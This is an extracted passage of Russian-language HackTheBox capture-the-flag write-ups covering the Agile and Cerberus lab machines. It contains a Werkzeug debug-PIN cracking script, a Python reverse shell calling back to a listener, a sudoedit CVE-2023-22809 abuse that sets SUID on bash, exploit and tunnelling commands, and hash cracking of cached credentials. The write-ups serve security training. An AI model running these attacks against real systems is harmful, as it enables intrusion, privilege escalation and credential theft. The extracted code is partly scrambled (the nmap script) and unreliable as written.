туп к важ ным дан ным и даже сох ранен ным паролям поль зовате ля. Для это го
извле чем PID про цес са и отпра вим отладчи ку .ptrace

ps  |    |  ptrace ` -elf grep -v 'pts' awk '/kpcli/{print $4}'`

Ло ги отладчи ка ptrace

От ладчик перех ватит вывод сооб щения, пред лага юще го наз вать мас- 
тер-пароль. Сох раним весь вывод в файл и отфиль тру ем из него толь ко
вызов фун кции , с помощью которой дол жен быть счи тан пароль.read

Вы зовы фун кции read

В логе видим прос какива ющие иног да печата емые сим волы. Уси лим филь тр,
что бы выводить толь ко момент счи тыва ния таких сим волов.

Счи тан ные прог раммой сим волы

И перех ватыва ем вве ден ную стро ку: . Это, видимо, и есть

мас тер-пароль. Теперь откры ваем файл в KeePass и получа ем рутовый
пароль, с которым можем авто ризо вать ся в сис теме.

!sEcUr3p4$$w0rd9

Рас шифро ван ная база дан ных KeePass

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/rebkwok/kpcli


ЛОМАЕМ PIN К ВЕБ-КОНСОЛИ
FLASK WERKZEUG

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я раз беру ата ку на веб-кон- 
соль Flask Werkzeug, работу с уда лен ным
отладчи ком Chrome и покажу, как экс плу- 
ати ровать нашумев шую уяз вимость
в sudoedit для чте ния про изволь ных фай лов
в сис теме.

По может мне в этом тре ниро воч ная машина Agile с пло щад ки .
Уро вень ее слож ности — сред ний.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.203    agile.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та: 22 — служ ба OpenSSH 8.9p1 и 80 —
веб-сер вер Nginx 1.18.0. Как обыч но в такой ситу ации, сра зу идем смот реть
веб.

Глав ная стра ница agile.htb

Нас встре чает стар товая стра ница Nginx, а это зна чит, что основной сайт рас- 
положен либо в дру гом катало ге, либо на дру гом домене. Поп робу ем его
най ти, для это го прос каниру ем катало ги с помощью .feroxbuster

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

 2  256 
feroxbuster -u http://10.10.11.203/ -w directory_2.3_medium_
lowercase.txt -d -t

Ре зуль тат ска ниро вания катало гов

В резуль тате ска ниро вания находим редирект на домен .

Добав ляем его в файл  и про веря ем.

superpass.htb
/etc/hosts

10.10.11.203 agile.htb superpass.htb 

Глав ная стра ница сай та superpass.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те есть воз можность зарегис три ровать ся и авто ризо вать ся. Сде лаем
это, что бы рас ширить область тес тирова ния.

Фор ма авто риза ции

Те перь нам дос тупен онлай новый сер вис для хра нения учет ных дан ных.

Стра ница vault

Нам нуж но про тес тировать мак сималь но воз можное чис ло фун кций сер виса.
Соз даем тес товую запись и экспор тиру ем пароли.

Эк спорт паролей

Файл ска чива ется авто мати чес ки, прос мотрим весь про цесс в .Burp History

Burp History

Имя фай ла для ска чива ния переда ется в парамет ре  на стра нице

. Сто ит про верить, мож но ли выпол нить обход катало га и получить
дру гой про изволь ный файл.

fn
download

Со дер жимое фай ла /etc/passwd

По луча ем содер жимое фай ла , а это зна чит, что на сай те есть

уяз вимость LFI.

/etc/passwd

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/epi052/feroxbuster
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists


ЛОМАЕМ PIN К ВЕБ-КОНСОЛИ FLASK
WERKZEUG

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
LFI
Пер вым делом, ког да обна ружи ваем LFI, нуж но про верить все фай лы,
которые могут содер жать инте рес ную информа цию. На GitHub мож но най ти
мно го таких сло варей, а переби рать по ним будем с помощью Burp Intruder.

Burp Intruder — вклад ка Payload positions

В резуль тате ничего осо бен ного не наш ли, толь ко из фай ла 

узна ем о наличии тес товой вер сии сай та на домене ,
а так же получим перемен ные окру жения про цес са из фай ла 

.

/etc/passwd
test.superpass.htb

/proc/self/
environ

Со дер жимое фай ла /etc/hosts

Со дер жимое фай ла /proc/self/environ

Пе ремен ные окру жения рас кры ли нам поль зовате ля , от име ни

которо го работа ет сер вис. Инте рес на и перемен ная , где ука зан
файл нас тро ек . Но при попыт ке про читать его

получа ем ошиб ку Bad Request.

www-data
CONFIG_PATH

/app/config_prod.json

Зап рос на заг рузку фай ла /app/cong_prod.json

Иног да при отоб ражении оши бок при ложе ние может рас кры вать пути к фай- 
лам, в которых про изош ла ошиб ка. Поэто му поп робу ем ска чать несущес тву- 
ющий файл ./etc/qweqweqwe.txt

Зап рос на заг рузку фай ла /etc/qweqweqwe.txt

При ложе ние пре дос тавило боль шой вывод, в котором и при сутс тву ет путь
к исполня емо му фай лу сай та:

/app/app/superpass/views/vault_views.py 

Со дер жимое фай ла vault_views.py

Мо ей пер вой иде ей было получить  от Flask, что бы мож но было

вруч ную генери ровать иден тифика торы сес сии дру гих поль зовате лей
и получать сох ранен ные пароли. Но в этом слу чае сек ретный ключ Flask
не был явно задан.

SECRET_KEY

Flask Werkzeug
При регис тра ции и авто риза ции мож но добить ся ошиб ки Flask, что дает нам
воз можность зап росить дебаг-кон соль Werkzeug. Но проб лема в том, что она
защище на девятиз начным PIN-кодом.

Стра ница ошиб ки Flask Werkzeug

Кон соль Werkzeug

Тут нам и при годит ся уяз вимость LFI, так как, имея дос туп к некото рым
парамет рам сис темы, мож но рас счи тать PIN с помощью скрип та из 

. Часть парамет ров у нас уже есть:
статьи

Бена Грю эла
имя поль зовате ля, от име ни которо го работа ет при ложе ние, — ;• www-data

наз вание модуля — обыч но  или ;• flask.app werkzeug.debug

наз вание при ложе ния — тоже берем из скрип та ,
это  или ;

• wsgi_app

DebuggedApplication Flask

путь к при ложе нию Flask — 
.

• /app/venv/lib/python3.10/site-

packages/flask/app.py

Еще два необ ходимых зна чения — MAC-адрес и иден тифика тор сис темы.
Пер вый параметр получа ем из фай ла ,
а затем перево дим в десяте рич ный фор мат: 345052368982.

/sys/class/net/eth0/address

Со дер жимое фай ла /sys/class/net/eth0/address

Пре обра зован ное зна чение

Что бы получить вто рой недос тающий параметр, нам нуж но объ еди нить зна- 
чения из фай лов  и :/etc/machine-id /proc/self/cgroup

ed5b159560f54721827644bc9b220d00superpass.service 

Со дер жимое фай ла /etc/machine-id

Со дер жимое фай ла /proc/self/cgroup

Те перь исполь зуем перечис ленные зна чения в сле дующем скрип те
для получе ния всех воз можных вари антов PIN-кода.

 import hashlib
 import itertools

   from itertools import chain

      def crack_md5(username, modname, appname, flaskapp_path, node_uuid,
machine_id):
    h = hashlib.md5()
        crack(h, username, modname, appname, flaskapp_path, node_uuid,
machine_id)

      def crack_sha1(username, modname, appname, flaskapp_path, node_uuid,
machine_id):
    h = hashlib.sha1()
        crack(h, username, modname, appname, flaskapp_path, node_uuid,
machine_id)

      
 

def crack(hasher, username, modname, appname, flaskapp_path,
node_uuid, machine_id):
    probably_public_bits = [
          username,
          modname,
          appname,

           flaskapp_path ]
    private_bits = [
          node_uuid,

           machine_id ]

    h = hasher
      for bit in chain(probably_public_bits, private_bits):

        if not bit:
          continue

        if isinstance(bit, str):
            bit = bit.encode('utf-8')

      h.update(bit)
  h.update(b'cookiesalt')

      cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
     if num is None:
      h.update(b'pinsalt')

           num = ('%09d' % int(h.hexdigest(), 16))[:9]

   rv =None
     if rv is None:

           for group_size in 5, 4, 3:
               if len(num) % group_size == 0:

                   rv = '-'.join(num[x:x + group_size].rjust(group_size,
'0')

                                 for x in range(0, len(num), group_size))
              break
      else:

            rv = num

  print(rv)

   if __name__ == '__main__':
    usernames = ['www-data']
     modnames = ['flask.app', 'werkzeug.debug']
      appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
    flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.
py']
    nodeuuids = ['345052368982']
    machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']

       
  

combinations = itertools.product(usernames, modnames, appnames,
flaskpaths, nodeuuids, machineids)

     for combo in combinations:
             username, modname, appname, flaskpath, nodeuuid, machineid =

combo
      print('=========')

           crack_sha1(username, modname, appname, flaskpath, nodeuuid,
machineid)
      print(f'{combo}')
      print('=========')

Ре зуль тат работы скрип та

Пер вый сге нери рован ный PIN дает дос туп к кон соли Python 3, отку да мы лег- 
ко получа ем сис темный шелл.

__import__('os').popen('id').read();

Кон соль Werkzeug

Те перь исполь зуем сле дующий реверс-шелл Python 3, который пой маем
на лис тенер .pwncat -lp 4321

 import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.54",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

 import pty
pty.spawn("sh")

Сес сия поль зовате ля www-data

Продолжение статьи →

https://www.bengrewell.com/cracking-flask-werkzeug-console-pin/


ЛОМАЕМ PIN К ВЕБ-КОНСОЛИ FLASK
WERKZEUG

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü corum
На ше при ложе ние исполь зует базу дан ных, а зна чит, ско рее все го, и пароли
тоже хра нит в ней. Поп робу ем най ти учет ные дан ные для под клю чения к БД.

По иск подс тро ки MySQL в исходных кодах при ложе ния

В исходни ках ничего най ти не уда лось, но это не проб лема, так как у нас есть
дос туп к кон соли отладчи ка при ложе ния. Сна чала най дем глав ный файл при- 
ложе ния  в модуле .app.py wsgi_app

Мо дуль wsgi_app в отладчи ке

От кры ваем кон соль и получа ем из кон фига парамет ры 

и . Вто рой содер жит учет ные дан ные для под клю чения к базе.

SECRET_KEY
SQL_URI

Па рамет ры SECRET_KEY и SQL_URI

Те перь под клю чаем ся к базе дан ных и заходим в таб лицу .superpass

mysql -h localhost -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
use superpass;

Под клю чение к базе дан ных

И получа ем таб лицы из базы .superpass

 show tables;

Таб лицы в базе superpass

Нам инте рес на таб лица . Смот рим, что в ней.passwords

   select * from passwords;

Дан ные в таб лице passwords

Стро ки из стол бца  непохо жи на хеши, поэто му поп робу ем исполь- 
зовать их как пароли и перебе рем при авто риза ции по SSH от име ни поль- 
зовате ля .

password

corum

Флаг поль зовате ля

Флаг поль зовате ля — у нас!

Ïîëüçîâàòåëü edwards
Что бы повысить при виле гии, нуж но пер вым делом соб рать информа цию. Я,
как обыч но, при бег ну к скрип там PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Смот рим, что нашел скрипт, и отме чаем для себя важ ную информа цию.
В спис ке про цес сов — Google Chrome с акти виро ван ной уда лен ной

отладкой на пор те 41829.

Де рево про цес сов

Из спис ка откры тых пор тов опре деля ем, что порт 41829 дос тупен толь ко
для обра щения с локаль ного хос та.

Спи сок откры тых пор тов

Сре ди пос ледних модифи циро ван ных фай лов в сис теме при сутс тву ет
какой-то пакет поль зователь ских скрип тов .activate

Пос ледние модифи циро ван ные фай лы

Это дает нам век тор ата ки. Если у Google Chrome активна уда лен ная отладка,
зна чит, мож но с помощью дру гого бра узе ра Chrome под клю чить ся к пор ту
отладчи ка и получать все дос тупные дан ные. Это поз волит как бы «под смат- 
ривать» за поль зовате лем. Но пер вым делом орга низу ем SSH-тун нель так,
что бы весь тра фик, который мы пош лем на локаль ный порт 41829, был тун- 
нелиро ван на порт 41829 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через
SSH.

ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829 -N

Ког да тун нель готов, мож но прис тупать к нас трой ке бра узе ра. В стро ке поис- 
ка перехо дим на стра ницу  и в гра фе 

 добав ляем запись .

chrome://inspect Discover network 
targets localhost:41829

Нас трой ки для раз работ чиков Chrome

До бав ление хос та

Ког да поль зователь зай дет на любую стра ницу, мы уви дим информа цию
об этом. К при меру, в дан ном слу чае поль зователь зашел на стра ницу

.http://test.superpass.htb

Ин форма ция о под клю чени ях

Вы бира ем  и получа ем ту же стра ницу, что отоб ража ется у поль- 

зовате ля.

inspect

От ладчик Google Chrome

Так мы получа ем новые учет ные дан ные, с которы ми мож но авто ризо вать ся
в сис теме от име ни поль зовате ля edwards.

Сес сия нового поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Раз ведку на хос те уже про води ли, а со сме ной кон тек ста работы в Linux мало
что меня ется. Но все же некото рые вещи нуж но про верить заново. Одна
из них — нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Ви дим, что наш поль зователь может запус тить коман ды 
 и 

 от име ни поль зовате ля и груп пы . А чле ны этой груп пы

могут записы вать в недав но обна ружен ный файл ,
который пери оди чес ки выпол няет ся в сис теме от име ни рута.

sudoedit /app/
config_test.json sudoedit /app/app-testing/tests/functional/
creds.txt dev_admin

/app/venv/bin/activate

Пра ва на файл /app/venv/bin/activate

В sudoedit есть извес тная уяз вимость CVE-2023-22809, под робнее можешь
про читать о ней в отче те Synacktiv ( ). С помощью этой уяз вимос ти мы
смо жем выпол нить коман ду в кон тек сте sudo от име ни поль зовате ля

. Это дает нам воз можность дописать свой код в файл 

, что бы запус тить что угод но в при виле гиро ван ном кон тек сте.

Выпол ним коман ду :

PDF

dev_admin /app/venv/
bin/activate

nano -- /app/venv/bin/activate

export EDITOR="nano -- /app/venv/bin/activate"
 sudo -u dev_admin sudoedit /app/config_test.json 

Экс плу ата ция уяз вимос ти sudoedit

Те перь откры ваем файл в nano и дописы ваем код: . Он

наз начит S-бит фай лу коман дной обо лоч ки .

chmod u+s /bin/bash
/bin/bash

Ре дак тирова ние фай ла

Про вер ка успешной записи

Ждем некото рое вре мя, пери оди чес ки про веряя пра ва на файл .

Как толь ко заметим выс тавлен ный S-бит, получа ем при виле гиро ван ную сес- 
сию.

/bin/bash

Пра ва на файл /bin/bash

/bin/bash -p

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf


ЗАХВАТЫВАЕМ КОНТРОЛЛЕР
ДОМЕНА WINDOWS ЧЕРЕЗ БАГ

SAML SSO

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати- 
ровать уяз вимость в сер висе ADSelfService
Plus для зах вата домена Active Directory.
По дороге зах ватим хост на Linux, рас кру тив
цепоч ку уяз вимос тей в сис теме монито рин-
га Icinga Web 2. Повысим при виле гии бла- 
года ря дыре в сен дбок се Firejail и сдам пим
учет ные дан ные из SSSD.

По может нам в этом тре ниро воч ная машина Cerberus с пло щад ки 
. Уро вень — слож ный.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.205    cerberus.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го один откры тый порт! Это порт 8080, на котором работа ет
веб-сер вер Apache 2.4.52. При этом в заголов ке  сра зу отоб- 

ражен редирект на домен , который мы добав ляем

в файл .

http-title
icinga.cerberus.local

/etc/hosts

10.10.11.205 cerberus.htb icinga.cerberus.local cerberus.local 

Те перь перехо дим по это му адре су в бра узе ре, и нас встре чает опен сор сная
сис тема монито рин га Icinga Web 2.

Фор ма авто риза ции icinga.cerberus.local

ÒÎ×ÊÀ ÂÕÎÄÀ
Пер вым делом нуж но поис кать сущес тву ющие экс пло иты для най ден ной сис- 
темы. Мне уда лось вый ти на , где опи саны уяз вимос ти для Icinga Web 2.
И пер вое, что прив лека ет вни мание, — это баг, поз воля ющий читать про- 
изволь ные фай лы на хос те.

блог

Опи сание уяз вимос ти чте ния про изволь ных фай лов

Про буем ука зан ным в опи сании спо собом про читать файл ./etc/hosts

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/hosts 

Со дер жимое фай ла /etc/hosts

Но одно дело — иметь такую воз можность, а дру гое — знать, какие фай лы
читать. В этом поможет  Icinga, где мож но пос мотреть име на
и опи сание фай лов с нас трой ками. Пер вый инте рес ный файл — это 

. Он содер жит гло баль ные нас трой ки, к при меру путь к фай лам модулей.

до кумен тация
confing.

ini

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/icingaweb2/config.ini 

Со дер жимое фай ла cong.ini

Вто рой инте рес ный файл — . В нем записа ны учет ные дан ные
для под клю чения к базе дан ных.

resources.ini

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/icingaweb2/resources.ini 

Со дер жимое фай ла resources.ini

С эти ми учет ными дан ными получа ется авто ризо вать ся на сай те.

Глав ная стра ница Icinga

ÒÎ×ÊÀ ÎÏÎÐÛ
Те перь у нас есть дос туп к сай ту, и мож но перей ти к дру гой опи сан ной в том
же ресер че уяз вимос ти CVE-2022-24715. Аутен тифици рован ные поль зовате- 
ли с дос тупом к нас трой кам фрей мвор ка могут соз давать фай лы ресур сов
SSH в неп редус мотрен ных катало гах, что при водит к выпол нению про изволь- 
ного кода. Уяз вимость зак люча ется в неп равиль ной про вер ке передан ной
стро ки в коде на PHP. Если исполь зовать null-байт, то при про вер ке он будет
учтен и стро ка получит ся обре зан ной, но в момент записи в файл null-байт
не будет учи тывать ся, что при ведет к записи допол нитель ных дан ных.

Опи сание уяз вимос ти

Пе ред тем как пытать ся вос про извести эти дей ствия вруч ную, мож но пос- 
мотреть, нет ли в интерне те готово го кода, который авто мати зиру ет этот
слож ный про цесс. Пер вая  при водит к рабоче му экс пло иту.
Но преж де чем пус кать его в ход, мы дол жны сге нери ровать SSH-ключ.

ссыл ка на GitHub

 rsa  pem ssh-keygen -t -m

Пос ле это го запус каем лис тенер:

pwncat-cs -lp 4321 

И выпол няем файл экс пло ита:

python3 exploit.py -t http://icinga.cerberus.local:8080/icingaweb2/ 
-I 10.10.14.75 -P 4321 -u matthew -p IcingaWebPassword2023 -e id_rsa

Ре зуль тат выпол нения экс пло ита

Мо мен таль но на лис тенере появ ляет ся сес сия от име ни поль зовате ля 

.

www-
data

Сес сия в pwncat-cs

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/
https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/
https://github.com/JacobEbben/CVE-2022-24715


ЗАХВАТЫВАЕМ КОНТРОЛЛЕР ДОМЕНА
WINDOWS ЧЕРЕЗ БАГ SAML SSO

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ (ÕÎÑÒ 1)
Те перь нам нуж но соб рать информа цию о сис теме. Я буду исполь зовать
для это го скрип ты .PEASS

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

В выводе мно го информа ции, поэто му отбе рем толь ко зна чимую.
На хос те есть необ ходимые для выпол нения кода биб лиоте ки MySQL.

Свя зан ные с MySQL дан ные

Сре ди фай лов с уста нов ленным битом SUID есть неиз вес тный бинарь
.firejail

Фай лы с выс тавлен ным битом SUID

Ин форма ция о сетевом интерфей се рас кры вает адрес сети — .172.16.22.0

Ин форма ция о сетевом интерфей се

В дереве про цес сов находим работа ющий SSSD — демон для управле ния
дос тупом к служ бам катало гов и механиз мам про вер ки под линнос ти.

Де рево про цес сов

Так же отме чаем SSSD сре ди про филей AppArmor.

Про фили AppArmor

На хос те при сутс тву ет файл , содер жащий нас трой ки

Kerberos для работы в домене.

/etc/krb5.conf

Со дер жимое фай ла /etc/krb5.conf

Ин форма ции, конеч но, мно го, но наибо лее здесь важ но, что у бинар ного
фай ла  есть бит SUID.firejail

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Firejail — это сис тема изо лиро ван ного выпол нения гра фичес ких, кон соль ных
и сер верных при ложе ний, которая сни жает риск наруше ния безопас ности
за счет огра ниче ния рабочей сре ды потен циаль но уяз вимых прог рамм.
Для это го исполь зуют ся прос транс тва имен, филь тра ция сис темных вызовов
и воз можнос ти AppArmor.

В таких слу чаях нуж но обя затель но про верить тех ники GTFOBins
или сущес тву ющие экс пло иты, так как глав ная задача — прос то получить неп- 
редумыш ленное выпол нение кода. Быс трый поиск экс пло итов в Google
показал, что это вер ный путь.

По иск экс пло итов в Google

Пер вая же  при водит к рабоче му экс пло иту, который я и исполь зовал.
Единс твен ное неудобс тво — для экс плу ата ции нам нуж но сде лать еще одну
сес сию. Тог да в пер вой сес сии мы запус каем экс пло ит, а во вто рой исполь- 
зуем Firejail для получе ния при виле гиро ван ного шел ла.

ссыл ка

Пер вая сес сия — выпол нение экс пло ита

firejail --join=35256 

Вто рая сес сия — получе ние при виле гиро ван ного шел ла

ÏÐÎÄÂÈÆÅÍÈÅ
Де мон SSSD может кеширо вать учет ные дан ные в локаль ной базе дан ных.

Со дер жимое катало га /var/lib/sss/db/

По лучим все стро ки из фай ла .cache_cerberus.local.ldb

strings /var/lib/sss/db/cache_cerberus.local.ldb 

Стро ки в фай ле cache_cerberus.local.ldb

В выводе видим хеш пароля поль зовате ля, этот хеш нам пред сто ит переби- 
рать. Но пер вым делом с помощью справ ки  опре делим его тип.hashcat

 |    hashcat --example grep '\$6\$' -A2 -B11

Справ ка hashcat

Те перь ука зыва ем получен ный режим перебо ра хеша — 1800. На выходе
получа ем пароль.

hashcat -m 1800 -a 0 hash.txt rockyou.txt 

Ре зуль тат перебо ра хеша

Что бы понять, где мож но авто ризо вать ся с эти ми учет ными дан ными, прос- 
каниру ем пор ты на кон трол лере домена.

 ./nmap -p- --min-rate=1500 172.16.22.1 

Ре зуль тат ска ниро вания пор тов

На хос те работа ет служ ба WinRM, и, что бы под клю чить ся к ней, сде лаем тун- 
нель. Для это го будем исполь зовать . На локаль ном хос те запус тим

сер вер, ожи дающий под клю чения (параметр ) на порт 8888

(параметр ).

chisel

--reverse
-p

./chisel.bin server -p 8888 --reverse

Ло ги chisel server

Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер- 
вера и порт для под клю чения, а так же нас трой ки тун нелиро вания: с локаль- 
ного пор та 8888 на порт 5985 хос та 172.16.22.1.

./chisel.bin client 10.10.14.75:8888 R:5985:172.16.22.1:5985 

Ло ги chisel client

В логах сер вера мы дол жны уви деть сооб щение о соз дании сес сии. Как толь- 
ко сес сия будет соз дана, про буем авто ризо вать ся на служ бе WinRM
с помощью инс тру мен та .Evil-WinRM

   evil-winrm -i 127.0.0.1 -u 'matthew' -p '147258369'

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ (ÕÎÑÒ 2)
Нам сно ва нуж но про вес ти раз ведку, и сно ва исполь зуем , на этот раз

вер сию для Windows.

PEASS

В спис ке поль зовате лей отме чаем поль зовате ля служ бы ADFS.

Най ден ные домаш ние катало ги поль зовате лей

От меча ем откры тые для локаль ного хос та нес тандар тные пор ты 8888 и 9251.

Спи сок откры тых пор тов

Про верим, что рас положе но на пор те 9251, для чего нем ного изме ним тун- 
нель chisel. Для дос тупа к хос ту будем исполь зовать тун нель Socks, а для дос- 
тупа к внут ренне му пор ту будем про киды вать этот порт.

# --- socks ---
#remote linux
chisel.bin client 10.10.14.75:8888 R:socks

# --- port forwarding ---
#remote windows
chisel.exe client 10.10.14.75:8888 R:9251:127.0.0.1:9251 

Ло ги сер вера chisel

При попыт ке прос мотреть порт через бра узер нам сооб щают о небезо пас- 
ном под клю чении, то есть необ ходимо исполь зовать HTTPS.

Со обще ние на сай те

Пов торя ем обра щение к сер веру, про ходим ряд редирек тов и встре чаем
типич ную фор му авто риза ции ADFS.

Стра ница авто риза ции ADFS

Те перь пару слов о том, что это такое.

Active Directory Federation Services
ADFS — это фун кция Active Directory, которая обес печива ет иден тифика цию
дос тупа и дает воз можность кли ентам (в основном на базе бра узе ров) внут ри
или за пре дела ми локаль ной сети получать дос туп к веб-при ложе ниям по тех- 
нологии single sign-on (SSO). Так ADFS извле кает атри буты поль зовате лей
из Active Directory, а так же про веря ет под линность поль зовате лей в Active
Directory.

Служ ба федера ции ADFS — ком понент сер верной плат формы Microsoft
Windows Server, реали зующий «сер вис мар керов дос тупа» (STS), который
исполь зует служ бу катало га Active Directory для аутен тифика ции поль зовате- 
лей и хра нения информа ции о них.

Ос новные опе рации:
пер воначаль ная аутен тифика ция поль зовате ля;•
вы пуск мар кера дос тупа (Issue);•
про вер ка мар кера дос тупа (Validate);•
об новле ние мар кера дос тупа (Renew);•
ан нулиро вание мар кера дос тупа (Cancel).•

Мар кер дос тупа выпус кает ся по фак ту успешной аутен тифика ции и дос товер- 
но иден тифици рует поль зовате ля при ложе ния. Что бы получить мар кер дос- 
тупа, поль зователь пре дос тавля ет учет ные дан ные AD либо свой сер тификат.

Мар кер дос тупа соот ветс тву ет спе цифи кации SAML Token, которая опре- 
деля ет син таксис и струк туру мар кера. Это рас ширя емый фор мат, что поз- 
воля ет фор мировать содер жание мар кера в соот ветс твии с тре бова ниями
при ложе ния, к которо му осу щест вля ется дос туп. Срок дей ствия мар кера
и область при мене ния огра ничен ны. Мар кер дос тупа содер жит информа цию
о поль зовате ле в фор ме набора утвер жде ний (Claims), которые исполь зуют ся
при ложе нием для соз дания кон тек ста поль зовате ля.

Поп робу ем авто ризо вать ся в ADFS и получить мар кер дос тупа.

По луче ние GUID токена (мар кера дос тупа)

Нем ного поис сле довав фай ловую сис тему, находим про дукт ManageEngine
ADSelfService Plus, который как раз и пред став ляет собой интегри рован ное
решение для самос тоятель ного управле ния пароля ми и еди ного вхо да.
Из базы получим Issuer URL, прос то греп нув фай лы по стро ке.

ls -r | Select-String issuer_url | select line,path

